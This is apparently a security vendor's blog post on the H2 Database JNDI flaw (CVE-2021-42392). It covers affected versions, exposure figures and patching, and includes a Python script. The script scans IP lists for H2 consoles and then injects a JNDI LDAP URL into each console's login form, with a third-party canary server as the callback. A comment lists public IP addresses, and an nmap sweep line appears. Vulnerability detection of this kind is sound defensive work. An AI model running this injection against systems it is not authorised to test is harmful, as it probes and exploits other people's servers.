{"id":7465,"date":"2022-01-09T18:46:08","date_gmt":"2022-01-10T01:46:08","guid":{"rendered":"https:\/\/webdev.securin.xyz\/?p=7465"},"modified":"2024-04-23T09:11:21","modified_gmt":"2024-04-23T16:11:21","slug":"how-to-detect-jndi-vulnerability-in-h2-database-engine","status":"publish","type":"post","link":"https:\/\/webdev.securin.xyz\/articles\/how-to-detect-jndi-vulnerability-in-h2-database-engine\/","title":{"rendered":"How to Detect JNDI vulnerability in H2 Database Engine?"},"content":{"rendered":"
\nAs organizations work to remediate the various Log4j vulnerabilities in their environments, researchers are discovering similar flaws related to JNDI remote class loading – a part of every standard Java installation.<\/p>\n<\/blockquote>\n
On January 07, 2022, researchers discovered a critical Java Naming and Directory Interface (JNDI) vulnerability in H2 Database Engine with a similar underlying cause as the notorious Log4j vulnerability. This vulnerability is a result of JNDI misuse that leads to unauthenticated remote code execution and is identified as CVE-2021-42392.<\/p>\n
\nSecurin Researchers have developed a script<\/a> to detect the JNDI vulnerability – the well-known LogShell-like vulnerability. Run our simple-to-use script to ensure your projects are free from JNDI injections.<\/a><\/p>\n<\/blockquote>\n
H2 is an open-source Java SQL database that may be used in web platform projects like Spring Boot and IoT platform projects with 6,808 artifact dependencies<\/a>. Considering a huge number of other packages and apps are built on top of the H2 database; therefore, the impact of this flaw would likely be extensive.<\/p>\n
<\/p>\n
<\/a>Detection Script<\/h2>\n
\nimport requests
\nfrom bs4 import BeautifulSoup
\nimport time
\nfrom sys import argv
\nimport json
\nimport csv
\nimport os
\nimport argparse
\nimport sys<\/p>\nstart = time.perf_counter()
\nprint(“[+] Start \\n” +”=”*50 )
\nStartTime = time.strftime(“%H:%M:%S”)
\nprint(f”StartTime : %s ” %(StartTime))<\/p>\n# results to output file
\ndef outfile(i, mode=”a+”, time = time.strftime(“%d_%H%M%S”)):
\n#time = time.strftime(“%d_%H%M%S”)
\nfilename = f”outfile_{str(time)}.txt”
\nfile = open(filename, mode)
\nfile.write(str(i)+”\\n”)
\nfile.close()<\/p>\ndef detect_h2(ip,ports = 8082):
\nURL = f”http:\/\/{ip}:{ports}\/”
\nprint(“input url”, URL)<\/p>\ntry:
\nr1 = requests.get(URL, allow_redirects = True)
\nr1.close()
\n#print(dir(r1), “\\n”)
\nout_html = r1.text # response
\nr_url = r1.url ## request url
\n# beautifulsoup
\nb1 = BeautifulSoup(out_html, “html.parser”)
\nsearch = “Sorry, remote connections (‘webAllowOthers’) are disabled on this server.”<\/p>\n## Checking if h2 web console supports remote connection
\nif b1.head.title.text.strip() == “H2 Console” and b1.p != None and b1.p.text.strip() == search:
\nprint(f”[-] h2 console {r1.url} but”, b1.p.text.strip() )<\/p>\nelif b1.head.title.text.strip() == “H2 Console” and b1.h2 == None or b1.h2.text == “No Javascript”:
\n#if len(key2) < 10
\noutfile(f” {r1.url}”, “a”)
\nprint(f”[+] h2 Console detected on {r1.url}, further validation is required.”)
\nreturn str(ip)
\nelse:
\nprint(f”[-] No h2 console detected.”)<\/p>\nexcept requests.ConnectionError:
\nprint(“[-] Error Connection Refused”)
\nprint(f”[-] No h2 console detected on {URL}.”)<\/p>\n# except AttributeError:
\n#\u00a0 \u00a0 \u00a0print(“[-]AttributeError”)
\n#\u00a0 \u00a0 \u00a0return “None Attribute Error”
\n# except:
\n#\u00a0 \u00a0 \u00a0return “Some exception occured.”<\/p>\n## generating ip list from a file
\ndef ip_list(filename):
\nwith open(filename, “r”) as list:
\nIPs = list.readlines()
\nreturn IPs<\/p>\ndef filename1(name=”IP.txt”):
\nfilename = “IP.txt”
\nif len(argv) > 1:
\nfilename = argv[1]
\nreturn filename<\/p>\ndef filename(name=”IP.txt”):
\ntry:
\nfilename = “IP.txt”
\nif len(argv) > 1:
\nfilename = argv[1]
\nprint(“filename_:{filename}”)
\nreturn filename
\nexcept FileNotFoundError:
\nprint(“[-] File not found, enter a valid file name”)<\/p>\n<\/p>\n
def request_h2(IP,ldap,PORT=”8082″,URI=””):
\ntarget = f”http:\/\/{IP}:{PORT}\/{URI}”
\nproxyDict = {“http” : “http:\/\/127.0.0.1:8080”}
\nr_get = requests.get(target, timeout=3)
\nresponse = r_get.text
\n# index_start =
\ncut1 = response[response.find(“jsession”):]
\n# print(f”cut1 : {cut1}”)
\nindex_end = cut1.find(“;”)
\njsession = cut1[:index_end-1]
\n# print(f”jsession: {jsession}”)
\n# b1 = BeautifulSoup(r1.text, “html.parser”)
\n# print(f”b1 body : {b1.head.script}”)
\n# print(f”r1 body : {r1.content}”)
\n# http proxy
\nproxyDict = {
\n“http”\u00a0 : “http:\/\/127.0.0.1:8080″
\n}<\/p>\nheader = {
\n‘User-Agent’: ‘Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko\/20100101 Firefox\/95.0’,
\n‘Content-Type’: ‘application\/x-www-form-urlencoded’\u00a0 \u00a0}<\/p>\nobj = {
\n‘language’:’en’,
\n‘setting’:’Generic+Teradata’,
\n‘name’:’Generic+Teradata’,
\n‘driver’:’javax.naming.InitialContext’,
\n‘url’:ldap,
\n‘user’:”,
\n‘password’:”
\n}<\/p>\ntarget_2 = target+”login.do?”+jsession
\nr_post = requests.post(target_2,data=obj,headers=header,timeout=3 )
\nreturn r_post<\/p>\ndef get_huntress():
\nr_huntress = requests.get(“https:\/\/log4shell.huntress.com\/”)
\nr_huntress.close()
\nbs_huntress = BeautifulSoup(r_huntress.content, “html.parser”)
\n# r.text
\n# jndi_fetch = bs_huntress.pre.text
\njndi_all = bs_huntress.find_all(“pre”)
\nj1 = jndi_all[1].text
\ni3 = j1.find(‘ldap’)
\n# ldap_fetch = j1[i3:-1].replace(“${env:”,”{“).replace(“HOSTNAME”,f”{HOSTNAME}”)
\nldap_fetch = j1[i3:-1].replace(“${env:”,”{“)
\nhuntress_id = ldap_fetch[ldap_fetch.rfind(‘\/’):]
\nreturn ldap_fetch, huntress_id<\/p>\ndef get_huntress_status(ID):
\ntry:
\nhuntress_status_json = “https:\/\/log4shell.huntress.com\/json”+ID
\nresults = requests.get(huntress_status_json)
\njson1 = results.json()
\nfilename = f”output_json_{time.strftime(‘%H%M%S’)}.json”
\nfile = open(filename ,”a+”)
\nfile.write(str(json1))
\nfile.close()
\npretty_json = json.dumps(json1, sort_keys=True, indent =4)
\nout_json_file = json.loads(pretty_json)[‘hits’]
\nif len(out_json_file) <= 0 :
\nprint(f”No results from huntress, no hits on huntress endpoint.”)
\nelse:
\nprint(f”Saving the output at {os.getcwd()}\\\\{filename} “)
\n# json to csv – written to file
\nfilename_csv = f”outfile_csv_{time.strftime(‘%H%M%S’)}.csv”
\nwith open(filename_csv,’w’) as f:
\nwr = csv.DictWriter(f, fieldnames=out_json_file[0].keys())
\nwr.writeheader()
\nwr.writerows(out_json_file)
\nprint(f”Saving the output at {os.getcwd()}\\\\{filename_csv} “)
\nreturn pretty_json
\nexcept IndexError:
\nprint(“Inded Error, no hits from huntress.com, Try again.”)
\nexcept:
\nprint(“[-] Error fetching status from huntress.”)<\/p>\nif __name__ == “__main__”:
\n# filename
\nfilename = filename()
\n# filename = “IP.txt”
\nIPs = ip_list(filename)
\n# generating\u00a0 IP list from
\nif IPs == []:
\nprint(f”[-] No IPs found the input file is empty. Add IPs to the file”)
\nelse:
\nprint(f”Input IP list : {IPs}”)
\n#print(f”Input IP list : {IPs}”)
\nprint(f”=”*50 )<\/p>\n# output list
\noutlist = []
\nfor i in IPs:
\nprint(i.strip())
\ntry:
\nx = detect_h2(i.strip())
\nif x != None:
\noutlist.append(x)
\nexcept KeyboardInterrupt:
\nprint(“Intrrupted”)
\nsys.exit()
\nexcept requests.ConnectionError:
\nprint(f”[-] Connection Error {i.strip()}”)
\nprint(f”-“*50 )<\/p>\nprint(f”[+] IPs with h2 console : {outlist}”)
\nprint(f”-“*50 )<\/p>\n# Manual test
\n# IP = “192.168.10.1”
\n# detect_h2(IP)<\/p>\nprint(“[+] Starting JNDI injection with the ldap from huntress.com …”)
\nprint(”\u00a0 \u00a0 \u00a0[#] For more info visit https:\/\/log4shell.huntress.com\/ “)<\/p>\n# IPs = [“192.168.10.11”, “192.168.10.14”, “193.206.59.85”, “3.21.163.236”]
\n# IPs = outlist<\/p>\nldap_url, huntress_id = get_huntress()
\nprint(f”[+] Fetching ldap URL: {ldap_url} \\n&\\nHuntress ID : {huntress_id}”)<\/p>\nfor IP in IPs:
\ntry:
\nHOSTNAME = IP.strip()
\n# print(HOSTNAME)
\nldap = ldap_url.replace(“HOSTNAME”,f”{HOSTNAME}”)
\n# print(ldap)
\npost = request_h2(HOSTNAME, ldap , “8082”)
\nexcept requests.ConnectionError:
\nprint(f”{IP.strip()} Error Connecting …”)
\nexcept IndexError:
\nprint(f”Empty list.”)<\/p>\n# post = request_h2(HOSTNAME, ldap_url, “8082”)
\nprint(“=”*50)
\n# print(f”[+] Testing {post.url}”)
\nprint(f”[+] Check Result at (huntress) ::”,”https:\/\/log4shell.huntress.com\/view\/”+ldap_url[ldap_url.rfind(‘\/’)+1:])
\nprint(”\u00a0 \u00a0 \u00a0[#] FYI https:\/\/log4shell.huntress.com\/ only stores results temporarily for 30min, you can refer to the data is saved locally “)
\nprint(“=”*50)
\nstatus_json = get_huntress_status(huntress_id)
\nprint(“[+] Output”, status_json)
\nprint(“=”*50)
\n# print(“[+] The End.”)
\n## timer\/counter
\nfinish = time.perf_counter()
\nprint(f”[+]Script time (sec) : {round(finish-start )}”)
\nEndTime = time.strftime(“%H:%M:%S”)
\nprint(f”End Time : %s ” %(EndTime))
\nprint(f”=”*50 )
\nprint(“[+] The End”)<\/p>\n# Reference: other options
\n# nmap -sV –script http-title –script-args “http-title.url=\/” -p80,443,8000-9000 192.168.0.0\/8 | grep “H2 Console”
\n# https:\/\/jfrog.com\/blog\/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console\/<\/p>\n### About The Script
\n# The script detect H2 server for the give list of IPs,
\n# it can identify the H2 Console web pages and check for access restrictions.
\n# Detections h2 web console pages and checks console accessibility.
\n# Added Support for validation by injecting a ldap server url to trigger JNDI requests,
\n# log4shell.huntress.com ldap server is used here for this validation and the
\n# results are fetched from the server and saved locally json and csv filetypes
\n###<\/p>\n# Script Version : v0.3.6<\/p>\n<\/div>\n
<\/h2>\n
Vulnerable Products<\/h2>\n
<\/p>\n
This vulnerability affects versions of the H2 console going back to 2008, from version 1.1.100 to 2.0.204.<\/p>\n
Why is this flaw called a LogShell-like Vulnerability?<\/h2>\n
The H2 Database version 2.0.206 is similar to Log4j 2.17.0 due to the fact that it addresses the problem by limiting JNDI URLs to use the (local) Java protocol, and therefore not allowing queries for remote LDAP\/RMI. Malicious attackers can use URLs to load external codebases in the H2 console, just as they do in Log4j.<\/p>\n
<\/p>\n
Although the researchers believe the vulnerability is critical, they anticipate it will not be as widespread as Log4j owing to a number of considerations, including:<\/p>\n
<\/p>\n
\n
- \n
The vulnerability might be exploited via a number of attack vectors, the most serious of which is the H2 console.<\/p>\n<\/li>\n
- \n
This defect has a “direct” impact wherein RCE affects the server that handles the initial request.<\/p>\n<\/li>\n
- \n
As long as the H2 console listens for localhost connections, this default setting is safe.<\/p>\n<\/li>\n<\/ul>\n
<\/p>\n
Global Exposure<\/h2>\n
<\/p>\n
A global analysis of shodan shows that 45 instances of H2 Database product versions are exposed to the Internet and port 8082 of these instances are prone to be exploited by attackers.<\/p>\n
<\/p>\n
<\/p>\n
Interestingly, Germany has the maximum number of search interests followed by India for the past 24 hours based on google trends.<\/p>\n
<\/p>\n
Trending Regions<\/a><\/p>\n
Patch Up JNDI Vulnerability!<\/h2>\n
<\/p>\n
According to researchers, H2 consoles that are exposed to your LAN (or WAN) are extremely vulnerable to this unauthenticated remote code execution issue. We urge users to update their H2 database to 2.0.206 immediately and use our detection script<\/a> to address this issue.<\/p>\n
<\/p>\n